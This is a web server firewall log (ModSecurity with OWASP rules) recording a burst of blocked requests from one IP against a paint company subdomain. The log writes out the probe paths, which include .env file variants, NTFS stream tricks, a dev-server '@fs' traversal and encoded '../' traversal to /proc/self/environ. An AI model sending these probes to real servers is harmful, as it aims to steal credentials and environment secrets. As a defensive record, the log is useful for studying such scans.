[Sun Oct 25 13:42:07.649623 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b0nqvEndZSiuRU5OnAAAAA8"]
[Sun Oct 25 13:42:07.650164 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b0nqvEndZSiuRU5OnAAAAA8"]
[Sun Oct 25 13:42:07.650463 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b0nqvEndZSiuRU5OnAAAAA8"]
[Sun Oct 25 13:42:07.651513 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b1Y5e6yJWIYGXiqDnwAAAAk"]
[Sun Oct 25 13:42:07.652038 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b1Y5e6yJWIYGXiqDnwAAAAk"]
[Sun Oct 25 13:42:07.652246 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b1Y5e6yJWIYGXiqDnwAAAAk"]
[Sun Oct 25 13:42:07.653233 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b_wFw76qlSfceadvLAAAAAA"]
[Sun Oct 25 13:42:07.653559 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b_wFw76qlSfceadvLAAAAAA"]
[Sun Oct 25 13:42:07.653795 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b_wFw76qlSfceadvLAAAAAA"]
[Sun Oct 25 13:42:07.679053 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_byjnAS4eJh-ada2MvgAAAA0"]
[Sun Oct 25 13:42:07.679145 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_byjnAS4eJh-ada2MvgAAAA0"]
[Sun Oct 25 13:42:07.679699 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_byjnAS4eJh-ada2MvgAAAA0"]
[Sun Oct 25 13:42:07.680023 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_byjnAS4eJh-ada2MvgAAAA0"]
[Sun Oct 25 13:42:07.685267 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4_b5kDGkILNr0EMn3BYAAAACw"]
[Sun Oct 25 13:42:07.685580 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4_b5kDGkILNr0EMn3BYAAAACw"]
[Sun Oct 25 13:42:07.685811 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4_b5kDGkILNr0EMn3BYAAAACw"]
[Sun Oct 25 13:42:07.791691 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4_b1Y5e6yJWIYGXiqDoAAAAAk"]
[Sun Oct 25 13:42:07.792120 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4_b1Y5e6yJWIYGXiqDoAAAAAk"]
[Sun Oct 25 13:42:07.792436 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4_b1Y5e6yJWIYGXiqDoAAAAAk"]
[Sun Oct 25 13:42:07.793569 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4_byjnAS4eJh-ada2MvwAAAA0"]
[Sun Oct 25 13:42:07.793850 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4_byjnAS4eJh-ada2MvwAAAA0"]
[Sun Oct 25 13:42:07.794059 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at4_byjnAS4eJh-ada2MvwAAAA0"]
[Sun Oct 25 13:42:07.826275 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4_b1MGGelIHqGysXAatQAAAB8"]
[Sun Oct 25 13:42:07.826757 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4_b1MGGelIHqGysXAatQAAAB8"]
[Sun Oct 25 13:42:07.827069 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4_b1MGGelIHqGysXAatQAAAB8"]
[Sun Oct 25 13:42:07.917624 2026] [core:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 13:42:07.919605 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4_b5kDGkILNr0EMn3BYQAAACw"]
[Sun Oct 25 13:42:07.920013 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4_b5kDGkILNr0EMn3BYQAAACw"]
[Sun Oct 25 13:42:07.920289 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4_b5kDGkILNr0EMn3BYQAAACw"]
[Sun Oct 25 13:42:07.923932 2026] [core:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 13:42:07.938612 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4_b0nqvEndZSiuRU5OnQAAAA8"]
[Sun Oct 25 13:42:07.939175 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4_b0nqvEndZSiuRU5OnQAAAA8"]
[Sun Oct 25 13:42:07.939499 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4_b0nqvEndZSiuRU5OnQAAAA8"]
[Sun Oct 25 13:42:07.940536 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4_b8sxP9Gbm0IYLGL9AAAAACI"]
[Sun Oct 25 13:42:07.940839 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4_b8sxP9Gbm0IYLGL9AAAAACI"]
[Sun Oct 25 13:42:07.941047 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at4_b8sxP9Gbm0IYLGL9AAAAACI"]
[Sun Oct 25 13:42:07.946861 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50000] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_b3dfzIDEwjyAl3puFwAAACc"]
[Sun Oct 25 13:42:07.947314 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_b3dfzIDEwjyAl3puFwAAACc"]
[Sun Oct 25 13:42:07.947587 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_b3dfzIDEwjyAl3puFwAAACc"]
[Sun Oct 25 13:42:07.948680 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b-Rnh_MPFutbQ4Jk6wAAAAE"]
